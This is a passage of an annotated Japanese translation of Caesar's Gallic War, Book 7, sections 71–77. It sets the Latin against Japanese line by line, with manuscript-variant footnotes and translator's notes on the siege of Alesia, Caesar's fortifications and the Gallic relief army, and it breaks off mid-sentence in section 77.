*①　[[w:la:Vercingetorix|Vercingetorix]], priusquam munitiones ab Romanis perficiantur, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、ローマ人たちによって塁壁が完成されるより前に、
*consilium capit omnem ab se equitatum noctu dimittere. 
**自分のところから[[w:騎兵|騎兵隊]]のすべてを夜間に送り出すことを計画した。
*②　Discedentibus mandat 
**（アレスィアから）退去する（騎兵の）者たちに（以下のように）指図した。
*ut suam quisque eorum civitatem adeat 
**彼ら（騎兵）のおのおのが自らの部族に行くように、
*omnesque qui per aetatem arma ferre possint ad bellum cogant. 
**かつ、年齢により武器を手に取ることができる者たちの皆を戦争へ徴集するように、と。
*③　Sua in illos merita proponit obtestaturque 
**（ウェルキンゲトリークスは）彼ら（ガッリア人たち）における自分の功績に言及して（以下のように）懇願した。
*ut suae salutis rationem habeant 
**自分の身の安全を顧慮してくれるように、
*neu se optime de communi libertate meritum in cruciatum hostibus&lt;ref&gt;in cruciatum hostibus はβ系写本の記述で、α系写本では hostibus in cruciatum となっている。&lt;/ref&gt; dedant. 
**かつ（ガッリア）共通の自由について功績が最上である自分を、敵方の責め苦に渡すことがないように、と。
*Quod si indiligentiores fuerint, 
**ところが、もし（騎兵たちがウェルキンゲトリークスたちの安全に）無関心であったならば、
*milia hominum delecta octoginta una secum interitura demonstrat. 
**選りすぐりの兵員8万名が自分と一緒に滅びるであろう、と明言した。
*④　Ratione inita frumentum se exigue dierum XXX(triginta) habere&lt;ref&gt;frumentum ～ habere はβ系写本の記述で、χ系･φ系あるいはモイゼル H. Meusel の修正提案など、写本や校訂者により語順が異なっていたり、単語が欠けていたりする。&lt;/ref&gt;, 
**見積もったところ、自分たちはわずかに30日分の穀物を保有しているが、
*sed paulo etiam longius tolerari posse parcendo. 
**しかし節約することにより、なおいくらか長く耐え忍ぶことができる、と。
*⑤　His datis mandatis, 
**これらの指図を与えてから、
*qua erat nostrum opus&lt;ref&gt;erat nostrum opus はβ系写本の記述で、α系写本では単に opus erat となっている。&lt;/ref&gt; intermissum, secunda vigilia silentio equitatum mittit&lt;ref&gt;mittit はχ系･B･M･S写本の記述で、β系写本では dimittit となっている。&lt;/ref&gt;. 
**我が方（ローマ勢）の構築物が中断しているところから、第二夜警時に静けさのうちに、騎兵隊を送り出した。
*⑥　Frumentum omne ad se referri iubet, 
**穀物をすべて自分のところへ運んで来ることを命じて、
*capitis poenam iis qui non paruerint constituit; 
**服従しなかった者たちを極刑に処すと決めた。
*⑦　pecus, cuius magna erat copia a Mandubiis&lt;ref&gt;a Mandubiis はβ系写本の記述で、α系写本では ab Manduviis となっている。&lt;/ref&gt; compulsa, viritim distribuit; 
**家畜は、マンドゥビイ族によって大量に集められていたが、個々に分配した。
*frumentum parce et paulatim metiri instituit; 
**穀物を節約して少しずつ量り分けることを定めた。
*⑧　copias omnes quas pro oppido collocaverat in oppidum recepit. 
**&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の前に駐留させていた（歩兵の）軍勢すべてを城塞都市の中に退却させた。
*⑨　His rationibus auxilia Galliae exspectare et bellum parat administrare&lt;ref&gt;parat administrare はα系写本の記述で、β系写本では administrare parat となっている。&lt;/ref&gt;.
**これらの手段により、ガッリア（諸部族）の援軍を待つこと、および戦争を指導しようとしたのである。

===72節===
'''カエサルが、より大掛かりな攻囲陣地を構築する'''
*①　Quibus rebus cognitis&lt;ref&gt;cognitis がこの位置にあるのはα系写本の記述で、β系写本では captivis の後となっている。&lt;/ref&gt; ex perfugis et captivis 
**それらの事情を脱走兵たちや捕虜たちから知って、
*Caesar haec genera munitionis instituit. 
**カエサルは以下の類いの塁壁工事に取りかかった。
&lt;br&gt;

*'''前線の切り立った空堀'''
*Fossam pedum XX(viginti) derectis lateribus duxit, 
**20[[w:ペース (長さ)|ペース]]（約6m）の（幅の）垂直な側面の堀を引いた。
*ut eius fossae&lt;ref&gt;fossae がこの位置にあるのはβ系写本の記述で、α系写本では summa(e) の後になっている。&lt;/ref&gt; solum tantundem pateret, quantum summa&lt;ref&gt;summa はβ系写本の記述で、α系写本では summae となっている。&lt;/ref&gt; labra distarent&lt;ref&gt;distarent はα系写本の記述で、β系写本では distabant となっている。&lt;/ref&gt;. 
**その堀（の底）は、頂きの縁が離れているのとちょうど同じ分だけ広がるようにした。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：上辺と底の幅が等間隔になるような切り立った空堀にした。）&lt;/span&gt;
*②　Reliquas omnes munitiones ab ea fossa pedes&lt;ref&gt;pedes はα系写本の記述で、β系写本では pedibus となっている。&lt;/ref&gt; CCCC(quadringentos) reduxit. 
**ほかのすべての塁壁は、その堀から400ペース（約120m）後ろに引いた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：写本にあるこの数字は、19世紀のウジェーヌ・ストッフェル大佐（colonel Eugène Stoffel）の&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;発掘調査によって400[[w:パッスス|パッスス]]（約600m）と修正された。この堀は、アレスィアの西方に引かれたと思われる。）&lt;/span&gt;
*Id hoc consilio, 
**それは、以下の考えによる。
*quoniam tantum spatium necessario esset&lt;ref&gt;spatium necessario esset はβ系写本の記述で、α系写本では esset necessario spatio となっている。&lt;/ref&gt; complexus 
**これほどの空間が包囲されなければならないのであるから、
*nec facile totum corpus&lt;ref&gt;corpus はα系写本の記述で、β系写本では opus となっており、ρ系写本にはない。&lt;/ref&gt; corona militum cingeretur, 
**すべての包囲作業が兵士たちの&lt;ruby&gt;&lt;rb&gt;哨兵線&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コロナ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;で取り囲まれるのは容易ではない。
*ne de improviso aut noctu ad munitiones hostium multitudo&lt;ref&gt;hostium multitudo はα系写本の記述で、β系写本では multitudo hostium となっている。&lt;/ref&gt; advolaret 
**不意に、あるいは夜間に、敵方の大勢が（ローマ側の）塁壁へ突進することがないように、
*aut interdiu tela in nostros operi destinatos conicere possent&lt;ref&gt;possent はα系写本の記述で、β系写本では posset となっている。&lt;/ref&gt;. 
**あるいは日中に、工事中の我が方（ローマ勢）に飛道具が投げ付けられることができないように。
&lt;br&gt;

[[画像:Fosse.Saint.Pierre.en.Chastres.png|thumb|right|300px|二重の堀およびその背後の堡塁（土塁と障壁・櫓）の模式図（[[w:ウジェーヌ・エマニュエル・ヴィオレ・ル・デュク|ヴィオレ＝ル＝デュク]]著『中世フランス建築体系辞典』[[s:fr:Dictionnaire raisonné de l’architecture française du XIe au XVIe siècle - Tome 5, Fossé|(s)]]より）。]]
[[画像:AlesiaFortifications.JPG|thumb|right|300px|[[w:アレシアの戦い|アレスィア古戦場]]跡に再現された、二重の堀およびその背後の堡塁（土塁と鹿柴、胸壁・鋸壁、櫓）。]]

*'''二重の堀'''
*③　Hoc intermisso spatio 
**この空間をあけて、
*duas fossas XV(quindecim) pedes latas eadem altitudine perduxit; 
**15ペース（約4.5m）の幅の2つの堀を、同じ深さ（15ペース）で張り巡らせた。
*quarum interiorem campestribus ac demissis locis 
**それらの内側（の堀）の平地で低く下がった所には、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：内側の堀とは、アレスィアに近い東側の堀と考えられている。）&lt;/span&gt;
*aqua ex flumine derivata complevit. 
**川から導かれた水で満たした。
&lt;br&gt;

*'''土塁と防柵、胸壁と鋸壁、鹿柴、櫓'''
*④　Post eas aggerem ac vallum XII(duodecim) pedum exstruxit. 
**それらの後ろには、12ペース（約3.6mの高さ）の&lt;ruby&gt;&lt;rb&gt;[[w:土塁|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;防柵&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウァッルム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を築き上げた。
*Huic loricam pinnasque adiecit 
**これに&lt;ruby&gt;&lt;rb&gt;胸壁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ロリカ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;鋸壁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピンナ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を付け加えて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：胸壁と鋸壁とは、[[ガリア戦記 第5巻#40節|第5巻40節]]で既出のように、凹凸形に編み込まれた柴の壁）&lt;/span&gt;
*grandibus cervis eminentibus ad commissuras pluteorum atque aggeris, 
**障壁と土塁の接合部の辺りに大きな&lt;ruby&gt;&lt;rb&gt;鹿柴&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケルウス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を突き出させて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：&lt;ruby&gt;&lt;rb&gt;鹿柴&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ろくさい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;（鹿砦または&lt;ruby&gt;&lt;rb&gt;逆茂木&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さかもぎ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;）とは、鹿の角のように枝分かれした杭や枝を逆立てた杭囲い。&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;障壁とは、防柵の前に取り付けられた胸壁と鋸壁の総称であろう。）&lt;/span&gt;
*qui ascensum hostium tardarent, 
**敵方が登って来るのを妨げようとした。
*et turres toto opere circumdedit, quae pedes LXXX(octoginta) inter se distarent.
**構築物の全体を、互いに80ペース（約24m）離れて立つ櫓で取り巻いた。

===73節===
'''カエサルは、攻囲陣地をさらに障害物で補強する'''
*①　Erat eodem tempore et materiari et frumentari et tantas munitiones fieri necesse 
**材木収集と糧食徴発、およびこれほどの塁壁工事がなされることが、同時に必要であった。
*deminutis nostris copiis, quae longius ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; castris progrediebantur. 
**我が方の軍勢（ローマ勢）は減じており、陣営からはるか遠くに進み出ていた。
*Ac nonnumquam opera nostra Galli temptare 
**いくたびか、我が方の構築物に、ガッリア人が攻撃すること（を試み）、
*atque eruptionem ex oppido pluribus portis summa vi facere conabantur. 
**かつ、&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の多くの門から、主力でもって出撃することを試みた。
*②　Quare ad haec rursus opera addendum Caesar putavit, 
**そのゆえに、この構築物へさらに（以下の障害物が）付け加えられるべきだとカエサルは考えた。
*quo minore numero militum munitiones defendi possent. 
**それによって、より少ない数の兵士で塁壁が防衛されることができるように、と。
[[画像:Archeodrome_Beaune_8.jpg|thumb|right|300px|[[w:アレシアの戦い|アレスィア古戦場]]跡に再現された攻囲陣地（上の画像と同じ物）。堡塁（土塁と障壁と櫓）の前の平地に、樹枝が突き出た「尖り杭」（奥）と落とし穴を枝で覆った「百合」（手前）が見える。]]
[[画像:Trous.de.loup.png|thumb|right|300px|サイコロの五つ目状に並べられた落とし穴「百合」（lilium）の模式図（[[w:ウジェーヌ・エマニュエル・ヴィオレ・ル・デュク|ヴィオレ＝ル＝デュク]]著『中世フランス建築体系辞典』[[s:fr:Dictionnaire raisonné de l’architecture française du XIe au XVIe siècle - Tome 5, Fossé|(s)]]より）。図の上部が五つ目状の配列を、図の下部が落とし穴の断面図を示す。この断面図では、尖らされた樹幹の先端が、傾斜した穴の突き固められた底から4本指ほど突き出ていると解釈しているようである。カエサルの記述からは、地表から突き出ているとも解釈できる。]]
[[画像:Aiguillon.png|thumb|right|200px|鉄の鉤が固定された杭「刺」の模式図（[[w:ウジェーヌ・エマニュエル・ヴィオレ・ル・デュク|ヴィオレ＝ル＝デュク]]著『中世フランス建築体系辞典』[[s:fr:Dictionnaire raisonné de l’architecture française du XIe au XVIe siècle - Tome 5, Fossé|(s)]]より）。]]
[[画像:Archeodrome_Beaune_2.jpg|thumb|right|300px|[[w:アレシアの戦い|アレスィア古戦場]]跡に再現された攻囲陣地（上の画像と同じ物）。いちばん手前に「刺」が再現されている。]]
:　
'''尖り杭'''
*Itaque truncis arborum aut admodum firmis ramis abscisis 
**こうして、樹木の幹、あるいは非常に強固な枝が切り取られて、
*atque horum delibratis ac praeacutis cacuminibus 
**これらの皮がむかれて、&lt;ruby&gt;&lt;rb&gt;梢&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こずえ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が&lt;ruby&gt;&lt;rb&gt;尖&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;とが&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;らされて、
*perpetuae fossae quinos pedes altae ducebantur. 
**5[[w:ペース (長さ)|ペース]]（約1.5m）ずつの連続した堀が引かれた。
*③　Huc illi stipites demissi 
**ここに、あの樹幹が沈められて、
*et ab infimo revincti, ne revelli possent, ab ramis eminebant. 
**底から固くしばられて、はぎ取ることができないようにして、枝から（地上に）突き出るようにしていた。
*④　Quini erant ordines coniuncti inter se atque implicati; 
**5列ずつが、互いにつなげられて、結び合わされた。
*quo qui intraverant se ipsi acutissimis vallis induebant. 
**そこに踏み込んだ者は、自身が自らをきわめて鋭い杭に陥れた。
*Hos cippos appellabant. 
**（将兵たちは）これらを&lt;ruby&gt;&lt;rb&gt;尖り杭&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;キップス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と呼んだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[wikt:en:cippus|cippus]]「尖り杭」は「墓標」とも訳されるが、後者は古典期以降のラテン語で長方形の墓碑を指す&lt;ref&gt;&lt;small&gt;POSTCLASSIQUE&lt;/small&gt; &lt;i&gt;[[w:fr:Cippe|cippe]] (colonne funéraire rectangulaire)&lt;/i&gt;（ラルース社の羅仏辞典 &lt;small&gt;“Dictionnaire MaxiPoche Plus latin-français et français-latin”&lt;/small&gt; を参照）&lt;/ref&gt;。）&lt;/span&gt;
:　
'''百合'''
*⑤　Ante&lt;ref&gt;ante はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; quos&lt;ref&gt;quos はα系写本の記述で、β系写本では hos となっている。&lt;/ref&gt; obliquis ordinibus in quincuncem dispositis 
**それらの前に、（サイコロの）&lt;ruby&gt;&lt;rb&gt;五つ目状&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;クィンクンクス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に斜めの列に配置されて、
*scrobes tres in altitudinem pedes fodiebantur 
**深さ3ペース（約90cm）の穴が掘られた。
*paulatim angustiore ad infimum fastigio. 
**しだいに、より狭く、底の方へ傾斜を付けて。
*⑥　Huc teretes stipites [[w:la:Femur|feminis]] crassitudine 
**ここに、太ももの厚さの丸みを帯びた樹幹が
*ab summo praeacuti et praeusti demittebantur, 
**先端から尖らせられ、焦がされて（穴の底に）突き刺された。
*ita ut non amplius digitis quattuor ex terra&lt;ref&gt;ex terra はα系写本の記述で、V･ρ系写本では e terra 、T写本では contra となっている。&lt;/ref&gt; eminerent; 
**4本の指より長くないほど地中から突き出るように。
*⑦　simul confirmandi et stabiliendi causa 
**同時に、強固にして固定するために、
*singuli ab infimo solo pedes terra exculcabantur; 
**それぞれ底から1ペース（約30cm）だけ土で突き固められた。
*reliqua pars scrobis ad occultandas insidias viminibus ac virgultis integebatur. 
**穴の残りの部分は、わなを隠すために、柳の細枝や若枝で覆われた。
*⑧　Huius generis octoni ordines ducti ternos inter se pedes distabant. 
**この類いを、8列ずつ、3ペース（約90cm）ずつ互いに離して、作った。
*Id ex similitudine floris lilium appellabant. 
**（将兵たちは）それを花との類似から、&lt;ruby&gt;&lt;rb&gt;[[w:ユリ|百合]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;リリウム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と呼んだ。
:　
'''刺'''
*⑨　Ante haec taleae pedem longae ferreis hamis infixis totae in terram infodiebantur 
**これらの前に、鉄製の鉤が打ち込まれた長さ1ペース（約30cm）の棒の全体が地中に埋め込まれた。
*mediocribusque intermissis spatiis omnibus locis disserebantur, 
**適度な空間を間にあけて、至る所に配置された。
*quos stimulos nominabant.
**（将兵たちは）それらを刺と呼んだ。
{| class=&quot;wikitable&quot;
|-
! colspan=&quot;2&quot; | [[w:la:Obsidio Alesiae|Obsidio Alesiae]]
|-
| style=&quot;vertical-align:top; text-align:left; width:35em;&quot; |[[画像:Fortificazioni alesia png.png|thumb|left|500px|[[w:アレシアの戦い|アレシアの戦い]]における攻囲陣地の構成（図の説明はイタリア語）。]]
|}

===74節===
'''ガッリア人の来援に備えて、外周にも同様の塁壁を張り巡らす'''
*①　His rebus perfectis 
**これらの物が造り上げられると、
*regiones secutus quam potuit aequissimas pro loci natura 
**地勢に応じて、できるかぎり好都合な地帯を探し求めて、
*XIIII(quattuordecim) milia passuum complexus 
**14ローママイル（約21km）を取り巻いて、
*pares eiusdem generis munitiones, 
**（内周の塁壁と規模が）匹敵する同じ類いの塁壁を
*diversas ab his, contra exteriorem hostem perfecit, 
**これら（内周）に対置させて、外側の敵に対抗して造り上げた。
*ut ne magna quidem multitudine, si ita accidat equitatus&lt;ref&gt;equitatus はシェーラー（Schoeller）による修正提案で、写本(ω)では eius であるが、近代の校訂者たちにより修正提案がなされている。&lt;/ref&gt; discessu, 
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
**もし[[w:騎兵|騎兵隊]]の退去によりこのようなこと（外敵との遭遇）が生じても、決して大軍により
*munitionum praesidia circumfundi possent; 
**塁壁の守備隊が包囲されることができないように。
*②　&lt;ne&gt; autem&lt;ref&gt;ne autem は近代の校訂者による修正提案で、α系･π系写本では aut、ρ系写本では ut となっている。&lt;/ref&gt; cum periculo ex castris egredi cogatur, 
**（ローマ勢が）危険を伴って陣営から進発することを強いられることもないように、
*dierum XXX(triginta) pabulum frumentumque habere omnes convectum iubet.
**30日分の[[w:糧秣|秣(まぐさ)や穀物]]を運び集めて保持することを皆に命じた。

===75節===
'''ガッリア同盟が各部族に動員を要請する'''
*①　Dum haec apud&lt;ref&gt;apud はα系写本の記述で、β系写本では ad となっている。&lt;/ref&gt; [[w:la:Alesia|Alesiam]] geruntur, 
**これらが[[w:アレシア|アレスィア]]のもとで遂行されている間に、
*Galli concilio principum indicto 
**ガッリア人たちは、領袖たちの会合を課して、
*non omnes hos&lt;ref&gt;omnes hos はα系写本の記述で、β系写本では単に omnes となっている。&lt;/ref&gt; qui arma ferre possent, ut censuit [[w:la:Vercingetorix|Vercingetorix]], convocandos statuunt, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]が見積もったように武器を扱える者たち皆を召集するべき、ではないと判断した。
*sed certum numerum cuique ex civitate&lt;ref&gt;ex civitate はα系写本の記述で、β系写本では civitati となっている。&lt;/ref&gt; imperandum, 
**けれども、おのおのの部族から一定の兵数（の供出）を命令すること（を決めた）。
*ne tanta multitudine confusa nec moderari nec discernere suos nec frumentandi rationem&lt;ref&gt;frumentandi rationem はT･U･R写本などの記述で、V･U写本などでは frumenti rationem となっている。&lt;/ref&gt; habere possent. 
**これほどの大軍で混乱したり、味方を指揮できなかったり判別できなかったり、ということがないように。
*②　Imperant [[w:la:Haedui|Haeduis]] atque eorum clientibus, Segusiavis, Ambivaretis, Aulercis Brannovicibus, Blannoviis, milia XXXV(triginta quinque); 
**[[w:ハエドゥイ族|ハエドゥイー族]]とその庇護民であるセグスィアウィ族、アンビウァレティ族、アウレルキ・ブランノウィケス族、ブランノウィイ族に3万5千名を命令した。
*parem numerum Arvernis adiunctis Eleutetis, Cadurcis, Gabalis, Vellaviis, 
**[[w:アルウェルニ族|アルウェルニー族]]に隣接しているエレウテティ族、カドゥルキー族、ガバリ族、ウェッラウィイ族に同等の兵数。
*qui sub imperio Arvernorum esse consuerunt; 
**彼らはアルウェルニー族の支配下にいるのが常であった。
*③　Sequanis, Senonibus, Biturigibus, Santonis, Rutenis, Carnutibus duodena milia; 
**セクアニ族、セノネース族、ビトゥリゲース族、サントネス族、ルテーニー族、カルヌーテース族には1万2千ずつ。
*Bellovacis X(decem); totidem Lemovicibus; 
**ベッロウァキ族に1万。レモウィケス族に同じだけ多く（1万）。
*octona Pictonibus et Turonis et Parisiis et Helvetiis; 
**ピクトネス族とトゥロニ族とパリスィイ族と[[w:ヘルウェティイ族|ヘルウェティイ族]]に8(千)ずつ。
*Senonibus&lt;ref&gt;Senonibus は写本(ω)にある記述だが、sen&lt;a Suessi&gt;onibus「6(千)ずつをスエッスィオニス族…に」などさまざまな修正提案がなされている。&lt;/ref&gt;, Ambianis, Mediomatricis, Petrocoriis, Nerviis, Morinis, Nitiobrogibus quina milia; 
**セノネース族、アンビアニ族、メディオマトリキ族、ペトロコリイ族、ネルウィイ族、モリニ族、ニティオブロゲス族に5千ずつ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：Senonibus「セノネース族」は既出のためスエッスィオネス族などに書き替える修正提案がなされ、以下は校訂版によっては兵数がずれる。&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;しかし、スエッスィオネス族 Suessiones は[[ガリア戦記 第2巻#12節|第2巻12節]]でレーミー族を通じてカエサルに降伏しており、&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;第8巻6節でも「レーミー族に委ねられていた」「同盟者」と記されているので、アレスィアには出兵していないであろう。）&lt;/span&gt;
*Aulercis Cenomanis totidem; Atrebatibus IIII; 
**アウレルキ・ケノマニ族に同じだけ多く（5千）。アトレバテス族に4(千)。
*Veliocassis, Lexoviis et Aulercis Eburovicibus terna; 
**ウェリオカッセス族、レクソウィイ族とアウレルキ・エブロウィケス族に3(千)ずつ。
*Rauracis et Boiis&lt;ref&gt;Boiis はα系写本の記述で、β系写本では Bois となっている。&lt;/ref&gt; bina; 
**ラウラキ族とボイイ族に2(千)ずつ。
*XXX&lt;ref&gt;XXX はα系写本の記述で、さまざまな修正提案がなされている。&lt;/ref&gt; milia universis civitatibus, quae Oceanum attingunt 
**&lt;ruby&gt;&lt;rb&gt;大洋&lt;span style=&quot;color:#009900;&quot;&gt;〔[[w:大西洋|大西洋]]〕&lt;/span&gt;&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オーケアヌス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に接する諸部族全体に3万。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：この数は写本により異なっており、混乱している。）&lt;/span&gt;
*quaeque eorum consuetudine Aremoricae appellantur, 
**それらは、彼ら（ガッリア人）の慣習でアレモリカエと呼ばれており、
*quo sunt in numero Coriosolites, Redones, Ambibarii, Caletes, Osismi, Veneti, Lemovices, Unelli. 
**コリオソリテス族、レドネス族、アンビバリイ族、カレテス族、オスィスミ族、ウェネティ族、レモウィケス族、ウネッリ族がそれらに数えられる。
*⑤　Ex his Bellovaci suum numerum non compleverunt&lt;ref&gt;compleverunt はα系写本の記述で、β系写本では contulerunt となっている。&lt;/ref&gt;, 
**これらのうちで、ベッロウァキ族は、自分たちの（割り当てられた）数を満たさなかった。
*quod se suo nomine atque arbitrio cum Romanis bellum gesturos dicebant 
**というのは、彼らは自らの名と裁量でもってローマ人と交戦するであろうと言ったのだ。
*neque cuiusquam imperio obtemperaturos; 
**（自分たちは）何者の命令にも服従しないであろう、と。
*rogati tamen ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; Commio pro eius hospitio duo milia una miserunt.
**けれども、[[w:コンミウス|コンミウス]]の懇願により、彼を賓客としているために、2千名を一緒に送り出した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ベッロウァキ族は要求された兵数の5分の1しか出さなかったが、第8巻22節ではこの出兵をも含めてカエサルから責められる。）&lt;/span&gt;

===76節===
'''コンミウスもガッリア同盟軍に内応、約25万の大軍が集結'''
*①　Huius opera Commii, ut antea demonstravimus, fideli atque utili 
**前に述べたように、この[[w:コンミウス|コンミウス]]の信頼すべき有益な働きを
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[ガリア戦記 第4巻#21節|第4巻21節]]･[[ガリア戦記 第4巻#27節|27節]]･[[ガリア戦記 第4巻#35節|35節]]、[[ガリア戦記 第5巻#22節|第5巻22節]]、[[ガリア戦記 第6巻#6節|第6巻6節]]を参照。）&lt;/span&gt;
*superioribus annis erat usus in [[w:la:Britannia Maior|Britannia]] Caesar; 
**カエサルは先年（BC55～54年）に[[w:ブリタンニア|ブリタンニア]]において役立てていた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：コンミウスは、[[w:ローマによるブリタンニア侵攻 (紀元前55年-紀元前54年)|カエサルのブリタンニア侵攻]]の先導役を務めていた。後にブリタンニアで王となる。）&lt;/span&gt;
*quibus ille pro meritis civitatem eius immunem esse iusserat, 
**彼（カエサル）はそれらの功績の見返りに、彼（コンミウス）の部族が免税となることを命じており、
*iura legesque reddiderat atque ipsi Morinos attribuerat. 
**権能や法度を元に戻してやり、（コンミウス）自身にモリニ族（の統治）をも委ねていた。
*②　Tamen tanta&lt;ref&gt;tamen tanta はα系写本の記述で、β系写本では tanta tamen となっている。&lt;/ref&gt; universae Galliae consensio fuit libertatis vindicandae et pristinae belli laudis recuperandae, 
**けれども、自主独立が求められるべきで、かつての戦争の誉れが取り戻されるべきだという、ガッリア全体の合意があった。
*ut neque beneficiis neque amicitiae memoria moverentur 
**その結果、（カエサルからの）厚遇にも友情の記憶にも揺り動かされず、
*omnesque et animo et opibus in id bellum incumberent. 
**（ガッリアの）皆が闘志によっても兵力によっても、その戦争に没頭していたのだ。
*③　Coactis equitum milibus VIII(octo) et peditum circiter CCL(ducenti quinquaginta)&lt;ref&gt;CCL はβ系写本の記述で、α系写本では CCXL または CCXXXX となっている。&lt;/ref&gt; 
**[[w:騎兵|騎兵]]8千騎と[[w:歩兵|歩兵]]およそ250(千)名が徴集されて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：歩兵の数は、β系写本では25万、α系写本では24万と異なっている。）&lt;/span&gt;
*haec in Haeduorum finibus recensebantur, numerusque inibatur, praefecti constituebantur. 
**これら（の軍勢）が[[w:ハエドゥイ族|ハエドゥイー族]]の領土で閲兵されて、数が見積もられて、指揮官たちが決められた。
*④　Commio Atrebati, Viridomaro et [[w:la:Eporedorix|Eporedorigi]] [[w:la:Haedui|Haeduis]], 
**アトレバテス族の[[w:コンミウス|コンミウス]]、ハエドゥイー族のウィリドマルスとエポレドリクス、
*[[w:la:Vercassivellaunus|Vercassivellauno]] Arverno, consobrino Vercingetorigis, summa imperii traditur. 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の従兄弟である[[w:アルウェルニ族|アルウェルニー族]]のウェルカッスィウェッラウヌスに、最高司令権が託された。
*His delecti ex civitatibus attribuuntur, quorum consilio bellum administraretur. 
**彼らに、諸部族から選ばれた者たちが付与されて、その者たちの協議により戦争が指導された。
*⑤　Omnes alacres et fiduciae pleni ad [[w:la:Alesia|Alesiam]] proficiscuntur, 
**皆が、活気があって自身に満ち、[[w:アレシア|アレスィア]]へ向けて出発した。
*⑥　neque erat omnium quisquam qui adspectum modo tantae multitudinis sustineri posse arbitraretur, 
**これほどの大軍を一見しただけで持ちこたえられる者は、誰一人いないと思われた。
*praesertim ancipiti proelio, 
**とりわけ（内周と外周の）両面の戦闘で、
*cum ex oppido eruptione pugnaretur, foris tantae copiae equitatus peditatusque cernerentur.
**城塞都市からは出撃により戦われ、外からは騎兵と歩兵のこれほどの軍勢が視認されるのであるから。

===77節===
'''飢餓状態のアレスィアで、クリトグナトゥスが極論を唱える'''
*①　At ii qui [[w:la:Alesia|Alesiae]] obsidebantur 
**ところが、[[w:アレシア|アレスィア]]に包囲されていた者たちは、
*praeterita die qua auxilia suorum exspectaverant, 
**味方の援軍を待ち望んでいた日も経過して、
*consumpto omni frumento, 
**すべての糧食を消費し尽くして、
*inscii quid in [[w:la:Haedui|Haeduis]] gereretur, 
**[[w:ハエドゥイ族|ハエドゥイー族]]のところにおいて何がなされているのかを知らず、
*concilio coacto de exitu suarum fortunarum consultabant. 
**会合を召集して、自分たちの命運の結末について協議した。
*②　Ac variis dictis sententiis 
**そして、さまざまな意見が述べられた。
*quarum pars deditionem, 
